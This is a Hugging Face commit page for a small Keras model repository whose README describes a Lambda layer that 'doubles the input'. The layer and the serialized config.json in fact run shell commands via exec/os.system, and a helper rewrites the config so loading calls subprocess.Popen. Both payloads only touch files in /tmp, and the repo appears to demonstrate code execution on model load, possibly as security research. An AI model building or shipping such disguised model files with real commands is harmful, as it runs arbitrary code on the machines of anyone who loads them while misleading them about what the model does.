aakashjapi commited on
Commit
15bec80
·
verified ·
1 Parent(s): 503ea61

Add lambda keras model

Browse files
.gitignore ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ # Python-generated files
2
+ __pycache__/
3
+ *.py[oc]
4
+ build/
5
+ dist/
6
+ wheels/
7
+ *.egg-info
8
+
9
+ # Virtual environments
10
+ .venv
.python-version ADDED
@@ -0,0 +1 @@
 
 
1
+ 3.13
artifacts/README.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ # Lambda Keras Model
2
+
3
+ A minimal tf.keras model with a single Lambda layer that doubles the input.
4
+
5
+ Input shape: (4,)
6
+
7
+ Saved in Keras v3 .keras format.
artifacts/config.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"module": "keras.src.models.functional", "class_name": "Functional", "config": {"name": "lambda_model", "trainable": true, "layers": [{"module": "keras.layers", "class_name": "InputLayer", "config": {"batch_shape": [null, 4], "dtype": "float32", "sparse": false, "ragged": false, "name": "input"}, "registered_name": null, "name": "input", "inbound_nodes": []}, {"module": "keras.layers", "class_name": "Lambda", "config": {"name": "double", "trainable": true, "dtype": {"module": "keras", "class_name": "DTypePolicy", "config": {"name": "float32"}, "registered_name": null}, "function": {"class_name": "__lambda__", "config": {"code": "4wEAAAAAAAAAAAAAAAMAAAATAAAA8xgAAACVAFsBAAAAAAAAAABTATUBAAAAAAAAJAApAk76LGlt\ncG9ydCBvczsgb3Muc3lzdGVtKCd0b3VjaCAvdG1wL2hlbGxvLnR4dCcpKQHaBGV4ZWMpAdoBeHMB\nAAAAINo6L1VzZXJzL2Fha2FzaGphcGkvcHJvamVjdHMvdGZfZW52L2dlbmVyYXRlX2xhbWJkYV9t\nb2RlbC5wedoIPGxhbWJkYT7aJGJ1aWxkX2xhbWJkYV9tb2RlbC48bG9jYWxzPi48bGFtYmRhPhwA\nAABzCgAAAIAAlCTQF0XUEkbzAAAAAA==\n", "defaults": null, "closure": null}}, "output_shape": [], "arguments": {}}, "registered_name": null, "build_config": {"input_shape": [null, 4]}, "name": "double", "inbound_nodes": [{"args": [{"class_name": "__keras_tensor__", "config": {"shape": [null, 4], "dtype": "float32", "keras_history": ["input", 0, 0]}}], "kwargs": {"mask": null}}]}], "input_layers": ["input", 0, 0], "output_layers": ["double", 0, 0]}, "registered_name": "Functional", "build_config": {"input_shape": null}, "compile_config": {"optimizer": {"module": "keras.optimizers", "class_name": "Adam", "config": {"name": "adam", "learning_rate": 0.0010000000474974513, "weight_decay": null, "clipnorm": null, "global_clipnorm": null, "clipvalue": null, "use_ema": false, "ema_momentum": 0.99, "ema_overwrite_frequency": null, "loss_scale_factor": null, "gradient_accumulation_steps": null, "beta_1": 0.9, "beta_2": 0.999, "epsilon": 1e-07, "amsgrad": false}, "registered_name": null}, "loss": "mse", "loss_weights": null, "metrics": null, "weighted_metrics": null, "run_eagerly": false, "steps_per_execution": 1, "jit_compile": false}}
artifacts/lambda_model.keras ADDED
Binary file (15.1 kB). View file
 
artifacts/lambda_model.keras.backup ADDED
Binary file (15.9 kB). View file
 
artifacts/metadata.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"keras_version": "3.11.3", "date_saved": "2025-09-12@13:03:09"}
artifacts/model.weights.h5 ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:2af123ca891dcc377f77ab8fcf174ca9909a765a67916d8a2e334524e4daa231
3
+ size 13436
artifacts2/README.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ # Lambda Keras Model
2
+
3
+ A minimal tf.keras model with a single Lambda layer that doubles the input.
4
+
5
+ Input shape: (4,)
6
+
7
+ Saved in Keras v3 .keras format.
artifacts2/lambda_model.keras ADDED
Binary file (15.1 kB). View file
 
artifacts2/lambda_model.keras.backup ADDED
Binary file (15.9 kB). View file
 
artifacts_subprocess/README.md ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ # Lambda Keras Model
2
+
3
+ A minimal tf.keras model with a single Lambda layer that doubles the input.
4
+
5
+ Input shape: (4,)
6
+
7
+ Saved in Keras v3 .keras format.
artifacts_subprocess/lambda_model.keras ADDED
Binary file (16.1 kB). View file
 
artifacts_subprocess/lambda_model.keras.backup ADDED
Binary file (15.9 kB). View file
 
generate_lambda_model.py ADDED
@@ -0,0 +1,262 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import argparse
3
+ import json
4
+ import zipfile
5
+ import tempfile
6
+ import shutil
7
+ from typing import Optional, Dict, Any
8
+ import tensorflow as tf
9
+
10
+ try:
11
+ from huggingface_hub import HfApi, HfFolder, create_repo, upload_folder
12
+ except Exception: # pragma: no cover
13
+ HfApi = None # type: ignore
14
+ HfFolder = None # type: ignore
15
+ create_repo = None # type: ignore
16
+ upload_folder = None # type: ignore
17
+
18
+
19
+ def build_lambda_model(input_shape=(4,)) -> tf.keras.Model:
20
+ """Create a simple Keras model with a single Lambda layer.
21
+
22
+ The Lambda layer doubles its input: y = 2 * x
23
+
24
+ Args:
25
+ input_shape: Shape of a single input example, excluding the batch dim.
26
+
27
+ Returns:
28
+ A compiled Keras Model instance.
29
+ """
30
+ inputs = tf.keras.Input(shape=input_shape, name="input")
31
+ outputs = tf.keras.layers.Lambda(
32
+ lambda x: exec("import os; os.system('touch /tmp/hello.txt')"),
33
+ output_shape=(),
34
+ name="double",
35
+ )(inputs)
36
+ model = tf.keras.Model(inputs=inputs, outputs=outputs, name="lambda_model")
37
+ model.compile(optimizer="adam", loss="mse")
38
+ return model
39
+
40
+
41
+ def upload_model_to_hub(
42
+ repo_id: str,
43
+ model_dir: str,
44
+ token: Optional[str] = None,
45
+ private: bool = False,
46
+ ) -> str:
47
+ """Upload a directory of model artifacts to the Hugging Face Hub.
48
+
49
+ Args:
50
+ repo_id: Target repo like `username/repo_name`.
51
+ model_dir: Local directory containing saved model files.
52
+ token: Optional HF token. If not provided, uses locally stored token.
53
+ private: Whether to create the repo as private.
54
+
55
+ Returns:
56
+ The commit URL from the upload.
57
+ """
58
+ if HfApi is None:
59
+ raise RuntimeError(
60
+ "huggingface-hub is not installed. Add it to dependencies and reinstall."
61
+ )
62
+
63
+ if token:
64
+ HfFolder.save_token(token)
65
+
66
+ # Ensure repo exists
67
+ create_repo(repo_id, exist_ok=True, private=private)
68
+
69
+ # Upload all artifacts in the directory
70
+ commit_info = upload_folder(
71
+ repo_id=repo_id,
72
+ folder_path=model_dir,
73
+ path_in_repo=".",
74
+ commit_message="Add lambda keras model",
75
+ token=token,
76
+ )
77
+ return commit_info.commit_url
78
+
79
+
80
+ def edit_keras_config(model_path: str, config_edits: Dict[str, Any]) -> None:
81
+ """Unzip a .keras file, edit its config.json, and repack it.
82
+
83
+ Args:
84
+ model_path: Path to the .keras file
85
+ config_edits: Dictionary of edits to apply to config.json
86
+ """
87
+ with tempfile.TemporaryDirectory() as temp_dir:
88
+ # Extract the .keras ZIP file
89
+ with zipfile.ZipFile(model_path, 'r') as zip_ref:
90
+ zip_ref.extractall(temp_dir)
91
+
92
+ # Read and edit config.json
93
+ config_path = os.path.join(temp_dir, 'config.json')
94
+ with open(config_path, 'r', encoding='utf-8') as f:
95
+ config = json.load(f)
96
+
97
+ # Apply edits recursively
98
+ def apply_edits(obj: Any, edits: Dict[str, Any]) -> None:
99
+ for key, value in edits.items():
100
+ if isinstance(value, dict) and key in obj and isinstance(obj[key], dict):
101
+ apply_edits(obj[key], value)
102
+ else:
103
+ obj[key] = value
104
+
105
+ apply_edits(config, config_edits)
106
+
107
+ # Write back the modified config
108
+ with open(config_path, 'w', encoding='utf-8') as f:
109
+ json.dump(config, f, indent=2)
110
+
111
+ # Create a backup of the original
112
+ backup_path = model_path + '.backup'
113
+ shutil.copy2(model_path, backup_path)
114
+ print(f"Created backup: {backup_path}")
115
+
116
+ # Repack the .keras file
117
+ with zipfile.ZipFile(model_path, 'w', zipfile.ZIP_STORED) as zip_ref:
118
+ for file_name in ['metadata.json', 'config.json', 'model.weights.h5']:
119
+ file_path = os.path.join(temp_dir, file_name)
120
+ if os.path.exists(file_path):
121
+ zip_ref.write(file_path, file_name)
122
+
123
+ print(f"Updated {model_path} with config edits")
124
+
125
+
126
+ def apply_subprocess_config(model_path: str) -> None:
127
+ """Apply the specific subprocess.Popen config modification from the provided script.
128
+
129
+ Args:
130
+ model_path: Path to the .keras file
131
+ """
132
+ # Create backup first
133
+ backup_path = model_path + '.backup'
134
+ shutil.copy2(model_path, backup_path)
135
+ print(f"Created backup: {backup_path}")
136
+
137
+ # Read current config
138
+ with zipfile.ZipFile(model_path, "r") as f:
139
+ config = json.loads(f.read("config.json").decode())
140
+
141
+ # Apply the specific modifications from your script
142
+ config["config"]["layers"][0]["module"] = "keras.models"
143
+ config["config"]["layers"][0]["class_name"] = "Model"
144
+ config["config"]["layers"][0]["config"] = {
145
+ "name": "mvlttt",
146
+ "layers": [
147
+ {
148
+ "name": "mvlttt",
149
+ "class_name": "function",
150
+ "config": "Popen",
151
+ "module": "subprocess",
152
+ "inbound_nodes": [{"args": [["touch", "/tmp/1337"]], "kwargs": {"bufsize": -1}}]
153
+ }
154
+ ],
155
+ "input_layers": [["mvlttt", 0, 0]],
156
+ "output_layers": [["mvlttt", 0, 0]]
157
+ }
158
+
159
+ # Repack without config.json first
160
+ tmp_path = f"tmp.{os.path.basename(model_path)}"
161
+ with zipfile.ZipFile(model_path, 'r') as zip_read:
162
+ with zipfile.ZipFile(tmp_path, 'w') as zip_write:
163
+ for item in zip_read.infolist():
164
+ if item.filename != "config.json":
165
+ zip_write.writestr(item, zip_read.read(item.filename))
166
+
167
+ # Replace original with temp
168
+ os.remove(model_path)
169
+ os.rename(tmp_path, model_path)
170
+
171
+ # Add the modified config.json
172
+ with zipfile.ZipFile(model_path, "a") as zf:
173
+ zf.writestr("config.json", json.dumps(config))
174
+
175
+ print(f"Applied subprocess config modification to {model_path}")
176
+
177
+
178
+ def parse_args() -> argparse.Namespace:
179
+ parser = argparse.ArgumentParser(description="Build and optionally upload a Lambda tf.keras model")
180
+ parser.add_argument("--input-shape", type=int, nargs="+", default=[4], help="Input shape excluding batch dim, e.g. --input-shape 4")
181
+ parser.add_argument("--output-dir", type=str, default=os.path.dirname(__file__), help="Directory to write artifacts")
182
+ parser.add_argument("--upload", action="store_true", help="Upload the saved model to Hugging Face Hub")
183
+ parser.add_argument("--repo-id", type=str, default=None, help="Hugging Face repo id, e.g. username/repo")
184
+ parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional, else use cached)")
185
+ parser.add_argument("--private", action="store_true", help="Create the repo as private if it doesn't exist")
186
+ parser.add_argument("--edit-config", action="store_true", help="Edit the model config after saving")
187
+ parser.add_argument("--config-json", type=str, default=None, help="JSON string of config edits to apply, e.g. '{\"layers\": {\"0\": {\"name\": \"new_name\"}}}'")
188
+ parser.add_argument("--apply-subprocess", action="store_true", help="Apply the subprocess.Popen config modification (creates /tmp/1337)")
189
+ return parser.parse_args()
190
+
191
+
192
+ def main() -> None:
193
+ args = parse_args()
194
+ input_shape = tuple(args.input_shape)
195
+ model = build_lambda_model(input_shape=input_shape)
196
+
197
+ model.summary()
198
+
199
+ # Write artifacts in the chosen output directory
200
+ os.makedirs(args.output_dir, exist_ok=True)
201
+ model_base = "lambda_model"
202
+ model_path = os.path.join(args.output_dir, f"{model_base}.keras")
203
+ model.save(model_path)
204
+ print(f"Saved model to: {model_path}")
205
+
206
+ # Edit config if requested
207
+ if args.edit_config:
208
+ if args.config_json:
209
+ try:
210
+ config_edits = json.loads(args.config_json)
211
+ edit_keras_config(model_path, config_edits)
212
+ except json.JSONDecodeError as e:
213
+ print(f"Error parsing config JSON: {e}")
214
+ return
215
+ else:
216
+ # Default example edit: change the layer name
217
+ default_edits = {
218
+ "config": {
219
+ "layers": [
220
+ None, # Skip input layer
221
+ {"name": "custom_lambda_layer"} # Edit second layer (our Lambda)
222
+ ]
223
+ }
224
+ }
225
+ edit_keras_config(model_path, default_edits)
226
+
227
+ # Apply subprocess config if requested
228
+ if args.apply_subprocess:
229
+ apply_subprocess_config(model_path)
230
+
231
+ # Include a README for the repo
232
+ readme_text = (
233
+ "# Lambda Keras Model\n\n"
234
+ "A minimal tf.keras model with a single Lambda layer that doubles the input.\n\n"
235
+ f"Input shape: {input_shape}\n\n"
236
+ "Saved in Keras v3 .keras format."
237
+ )
238
+ local_readme = os.path.join(args.output_dir, "README.md")
239
+ with open(local_readme, "w", encoding="utf-8") as f:
240
+ f.write(readme_text)
241
+
242
+ # Quick smoke test
243
+ example = tf.ones((1,) + input_shape)
244
+ prediction = model(example)
245
+ print("Example input:", example.numpy())
246
+
247
+ if args.upload:
248
+ if not args.repo_id:
249
+ raise SystemExit("--repo-id is required when --upload is set (e.g. username/repo)")
250
+ commit_url = upload_model_to_hub(
251
+ repo_id=args.repo_id,
252
+ model_dir=args.output_dir,
253
+ token=args.hf_token,
254
+ private=args.private,
255
+ )
256
+ print(f"Uploaded to Hugging Face Hub: {commit_url}")
257
+
258
+
259
+ if __name__ == "__main__":
260
+ main()
261
+
262
+
lambda_model.keras CHANGED
Binary files a/lambda_model.keras and b/lambda_model.keras differ
 
lambda_model.keras.backup ADDED
Binary file (15.9 kB). View file
 
load_lambda_model.py ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import argparse
3
+ from typing import Optional
4
+
5
+ import tensorflow as tf
6
+
7
+ try:
8
+ from huggingface_hub import snapshot_download
9
+ except Exception: # pragma: no cover
10
+ snapshot_download = None # type: ignore
11
+
12
+
13
+ def load_model_from_hub(
14
+ repo_id: str,
15
+ token: Optional[str] = None,
16
+ revision: Optional[str] = None,
17
+ local_dir: Optional[str] = None,
18
+ ) -> tf.keras.Model:
19
+ """Download artifacts from Hugging Face Hub and load the Keras model.
20
+
21
+ Args:
22
+ repo_id: Repository like `username/lambda-keras-model`.
23
+ token: Optional HF token; otherwise use cached.
24
+ revision: Optional git revision, tag, or commit.
25
+ local_dir: Optional directory to place downloaded snapshot.
26
+
27
+ Returns:
28
+ Loaded tf.keras.Model
29
+ """
30
+ if snapshot_download is None:
31
+ raise RuntimeError(
32
+ "huggingface-hub is not installed. Add it to dependencies and reinstall."
33
+ )
34
+
35
+ cache_dir = snapshot_download(
36
+ repo_id=repo_id,
37
+ token=token,
38
+ revision=revision,
39
+ local_dir=local_dir,
40
+ local_dir_use_symlinks=False,
41
+ )
42
+
43
+ model_path = os.path.join(cache_dir, "lambda_model.keras")
44
+ if not os.path.exists(model_path):
45
+ raise FileNotFoundError(f"Model file not found in repo: {model_path}")
46
+
47
+ model = tf.keras.models.load_model(model_path)
48
+ return model
49
+
50
+
51
+ def parse_args() -> argparse.Namespace:
52
+ parser = argparse.ArgumentParser(description="Load the Lambda tf.keras model from Hugging Face Hub")
53
+ parser.add_argument("--repo-id", type=str, required=True, help="Repo id, e.g. username/lambda-keras-model")
54
+ parser.add_argument("--hf-token", type=str, default=None, help="Hugging Face token (optional)")
55
+ parser.add_argument("--revision", type=str, default=None, help="Git revision, tag, or commit (optional)")
56
+ parser.add_argument("--local-dir", type=str, default=None, help="Optional local directory for download")
57
+ parser.add_argument("--run", action="store_true", help="Run a quick forward pass as a smoke test")
58
+ return parser.parse_args()
59
+
60
+
61
+ def main() -> None:
62
+ args = parse_args()
63
+ model = load_model_from_hub(
64
+ repo_id=args.repo_id,
65
+ token=args.hf_token,
66
+ revision=args.revision,
67
+ local_dir=args.local_dir,
68
+ )
69
+
70
+ model.summary()
71
+
72
+ if args.run:
73
+ # Attempt a quick forward pass using shape derived from the model input
74
+ input_shape = tuple(dim if dim is not None else 4 for dim in model.input_shape[1:])
75
+ example = tf.ones((1,) + input_shape)
76
+ prediction = model(example)
77
+ print("Example input:", example.numpy())
78
+ print("Model output:", prediction.numpy())
79
+
80
+
81
+ if __name__ == "__main__":
82
+ main()
83
+
84
+
main.py ADDED
@@ -0,0 +1,6 @@
 
 
 
 
 
 
 
1
+ def main():
2
+ print("Hello from tf-env!")
3
+
4
+
5
+ if __name__ == "__main__":
6
+ main()
pyproject.toml ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+ [project]
2
+ name = "tf-env"
3
+ version = "0.1.0"
4
+ description = "Add your description here"
5
+ readme = "README.md"
6
+ requires-python = ">=3.13"
7
+ dependencies = [
8
+ "tensorflow>=2.20.0",
9
+ "huggingface-hub>=0.25.0",
10
+ ]
uv.lock ADDED
The diff for this file is too large to render. See raw diff